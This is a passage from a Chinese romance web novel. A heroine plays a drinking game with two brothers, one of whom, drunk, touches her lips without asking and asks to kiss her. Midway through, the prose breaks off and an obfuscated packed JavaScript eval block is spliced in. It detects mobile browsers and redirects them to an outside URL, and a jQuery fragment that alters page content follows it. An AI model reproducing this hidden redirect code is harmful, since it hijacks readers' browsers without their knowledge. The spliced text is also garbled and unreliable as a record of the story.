桌上的气氛变得微妙而凝滞。
熏沉默了片刻:“我……也有问题想问椿小姐。”目光落在椿低垂的眼睫上。
椿抬起眼:“我只回答一个问题。”
熏向前微微倾身,拉近了两人之间的距离。舞厅昏暗的光线在他轮廓分明的侧脸上投下深浅不一的阴影,他穿着那身剪裁精良的深灰色西装,白色的衬衫领口一丝不苟,此刻因这微醺的氛围和执着的追问,透出一种与他平日温润形象迥异的、近乎偏执的压迫感。
他看着她,“那你听听我的问题再做选择,可以吗?”
“告诉我真心话,为什么后来不再写信给我了?”
他重复了早些时候在舞池边的疑问。
这个问题比起澄那些带着戏谑和挑衅的刁难,确实更好回答。
椿迎着他的目光,坦然地说道:“因为信件总是被父亲查阅,每一封寄出和收到的信他或许都会过目。我不喜欢那种被人审视着与人往来的感觉,所以就不爱写了。”
熏听罢,凝视了她片刻,最终他轻轻点了点头,“这样啊……”
他像是松了一口气,又带着一丝若有若无的自嘲,“我还以为是我哪里做得不好,惹你不高兴了。”
就在熏对着椿说话,气氛似乎稍有缓和之际,椿忽然感觉到自己的脚踝被人不轻不重地碰了一下。
触感带着刻意,她垂下目光,不用看便知道是桌子对面的澄。
他这是……在报复她之前那两脚吗?
椿今日穿的是一双与薰衣草色洋装相配的浅口小羊皮鞋,鞋头精致,露出纤细的脚踝。而桌下澄那双擦得锃亮的黑色系带皮鞋,正不安分地挨着她的鞋边。他甚至故意用鞋尖蹭了蹭她裸露在外的脚踝肌肤。
动作幅度不大,却带着一种什么都不顾忌的狎昵。
椿心中蓦地升起一股荒谬。
她不明白澄这样做究竟是为了什么?他们之间除了那个孩童时期的偶然一吻外,再无任何越矩之处。若真要论及可能将事情闹大、闹到熏面前的人,也该是远在京都的泽村辉夜才对,怎么也轮不到他。
她瞪了澄一眼,然而澄接收到她的目光,勾起嘴角回了一个更加放肆的笑容。
椿不再犹豫,原本规规矩矩交叠缩回的脚,向前一伸,用她那带着一点鞋跟的皮鞋底,精准而用力地踩在了澄的鞋面上,鞋跟甚至刻意摁了一下。
预想中的吃痛退缩并未发生。澄只是僵了一下,就那样任由她踩着。
默许了这种近乎踩踏的接触,桌下的腿脚依旧紧挨着她。
这诡异的小插曲并未影响到桌面上游戏的继续进行。
之后,游戏又勉强进行了几轮。
两兄弟似乎都将矛头对准了对方,问题一个比一个刁钻刻薄,无所顾忌地拆着对方的台,曝露着对方成长中的糗事或是不愿为人知的偏好,气氛一度变得有些剑拔弩张。
而当问题轮到椿时,熏问得会相对含蓄,即便涉及情感也留有转圜的余地。而澄则可能问得更为露骨直接,但往往会被熏或以言语打断,或以规则质疑,四两拨千斤地替椿化解,让她得以用模糊的回答或干脆饮酒避开。
几轮下来,椿倒是没说什么惊人之语,只是甜腻的利口酒也喝了不少,脸上泛起淡淡的红晕。
熏显然喝多了。
他不像澄那样混迹于各种派对,练就了厚脸皮和酒量,也更不习惯在这种真心话的游戏中被迫袒露太多不欲人知的思绪,于是选择用喝酒来回避。
当澄终于觉得无趣,起身离开去吩咐下人准备车辆时,熏试图去拿桌上的空酒杯,手却有些不稳,酒杯被他碰倒,残余的酒液泼洒出来弄湿了他的手背和指尖。
“……”熏看着自己狼藉的手,似乎有些茫然。
椿见状,从随身的小手袋里取出那方绣着藤纹的麻叶手绢,倾身过去,自然地替他擦拭起来。
动作轻柔,仔细地擦拭他手背和指缝间的酒液。
一开始,熏的目光还有些因醉意而显得呆滞,只是愣愣地看着她为自己擦拭的动作,然后他的目光渐渐聚焦,缓缓地一寸寸地移到了她的脸上。
椿低着头,专注于手上的动作。直到感觉他久久没有动静,才抬起眼,正好撞入他带着醉意却异常专注的眼眸中。
她被他看得有些不自在,便扯出一个笑容:“难得……看到熏君你有这样狼狈的时候呢。”
她说话时唇瓣微启,露出一点洁白的贝齿。
这一瞬间,熏那只刚刚被她擦拭干净、还带着酒意微醺热度的手,忽然抬了起来。
他的指尖轻轻地抚上了她的唇角。
椿的话音戛然而止。
他的指尖温热,还残留着利口酒的甜香。
先是摩挲着她下唇的轮廓,然后……那带着薄茧的指腹竟就那样触碰到了她温热的口腔内壁。
舞会的喧嚣、人群的低语、留声机的乐声,都化作了模糊的背景音。只有他指尖那带着酒意和占有欲的触感,无比清晰地烙印在她的唇齿之间。
带着一种与他平日温文形象截然不同的侵略性。
这一瞬间的触感……柔软、湿润。
一种近乎亵渎的亲密,让椿浑身的血液仿佛都凝固了。
她睁大了眼睛,看着近在咫尺的熏。
他那双眼睛因醉意而显得朦胧,平日里梳理得一丝不苟的头发,有几缕碎发垂落,遮住了部分额头。
椿反应过来,伸出手,抓住了他那只造次的手腕。
感受到她的抗拒,熏非但没有退开,反而就着被她抓住手腕的姿势,更加凑近了她。两人之间的距离近得能感受到彼此呼吸的交错。
他垂眸看着她,“你的初吻……还在吗?”
椿的初吻呢?
他的还留着,澄的送了出去,但她的呢?
椿被他逼人的气息和直白的问题迫得向后微仰,让他的手指离开了自己的唇。
她定了定神,试图用冷静的语气打破这危险的氛围:“你喝醉了,熏君。”
熏看着她,眼神依旧迷蒙,仿佛没有听清她的话,或者说并不在意她的话。
他像是沉浸在自己的思绪和由酒精催化的谷欠望里。
椿见他似乎真的醉得不轻,便伸出另一只自由的手,在他眼前比出一个数字“三”,试探性地问道:“你还清醒吗?这是几?”
熏的目光随着她的指尖晃动而移动,下一秒他抬起那只未被抓住的手,抓住了她比划数字的手。
手指穿过她的指缝,与她十指紧紧相扣,牢牢锁住。
他握着她的手,再次凑近,温热的呼吸几乎拂过她的鼻尖,用一种近乎呢喃的、带着恳求语气问道:“我想亲亲你……可以吗?”
这赤裸的请求,让椿的心跳漏了一拍。
她看着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204890|197308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他被酒意熏染的脸,他现在只剩下纯粹的、毫不掩饰的渴望。
“你酒醒了?”她下意识地反问。
熏看着她,似乎因她这个问题而困惑了一下,他眨了眨眼,长长的睫毛在镜片后投下阴影,很认真地反问:“那我应该怎样询问?”
他仿佛真的在虚心求教一个合乎礼仪的、请求亲吻的方式。
椿看着他这副样子,伸出那只与他十指相扣的手,轻轻将他额前带着湿润汗意的碎发向后捋去,没有了碎发的遮挡,他那张脸在昏暗光线下显得愈发俊美无俦。
“如果你现在喝醉了的话,直接亲我,我是不会怪你的,那么现在你酒醒了?”
熏感受着她指尖拂过额头的触感,像是被顺毛的猫微微眯了下眼,随即摇了摇头,语气带着点委屈:“没有……头还晕着。”
这时去安排车辆的澄回来了。
他一眼就看到了角落里姿势亲密的两人,他们十指相扣,额头几乎相抵。他脚步顿了一下,眼神暗沉下来。
“哟,这是怎么了?”澄的声音打破了两人之间黏稠的氛围。
他目光扫过两人交握的手,然后走到熏的身边,不由分说地伸手揽住熏的肩膀,将他从椿的身边带开了一些,语气轻松地对椿说,“我哥喝多了吧?交给我就好,我来照顾他。”
他动作利落,几乎是半强制性地将熏的手从椿的手中抽离,然后让熏的手臂搭在自己的肩膀上,支撑住他有些摇晃的身体。
“走了哥,车在外面等着。”
熏似乎还有些茫然,被动地被澄搀扶着向前走。椿站在原地,迟疑了一下,还是跟了上去。
走到停在门口的黑色福特轿车旁,澄熟练地拉开车门将熏扶进后座。熏靠在座椅上,闭着眼睛,眉头微蹙。
澄“砰”地一声关上车门,隔绝了车内的景象。然后他转过身,拦住了正要走向另一边车门的椿。
“你坐前面。”澄指了指副驾驶的位置,脸上没什么表情。
椿看了他一眼,没有争执,默默地绕到前面,拉开了副驾驶的门。
车子在夜色中平稳地行驶,车厢内一片寂静。只有后座偶尔传来熏因不适而发出的声响。
回到位于番町的别墅,夜已深沉。佣人们都已休息,宅邸里静悄悄的。
澄扶着熏直接回了他的房间,椿也回到了安排给她的客房。
她脱下那身沾染了酒气和烟味的洋装,换上了一件浅杏色的纯棉寝间着,宽大的袖口和裤腿透着舒适。她走到房间连接的露台,推开玻璃门,让初夏夜晚微凉的风自然而然地穿堂而过。
露台正对着庭院,精心修剪的草坪和灌木在月光下呈现出墨绿的色泽,远处东京的灯火如同散落的星辰,与京都宅邸的幽深是截然不同的景致。
觉得有些口渴,椿便轻声下楼,想去厨房倒杯水。
木质楼梯在寂静中发出轻微的吱呀声,当她走到二楼通往一楼的转角时,旁边一扇房门也恰好被从里面拉开。
是澄。
他也换下了西装,只穿着一件简单的白色棉质立领衬衫,最上面的两颗扣子开着,露出锁骨,下摆随意地塞在睡裤里。
他似乎也没料到会在这个时候遇到她,动作顿了一下,随即靠在门框上双手环胸,目光沉沉地看向她。
脸上没有了平日刻意张扬的笑容,在廊下夜灯昏暗的光线下显得有些莫测。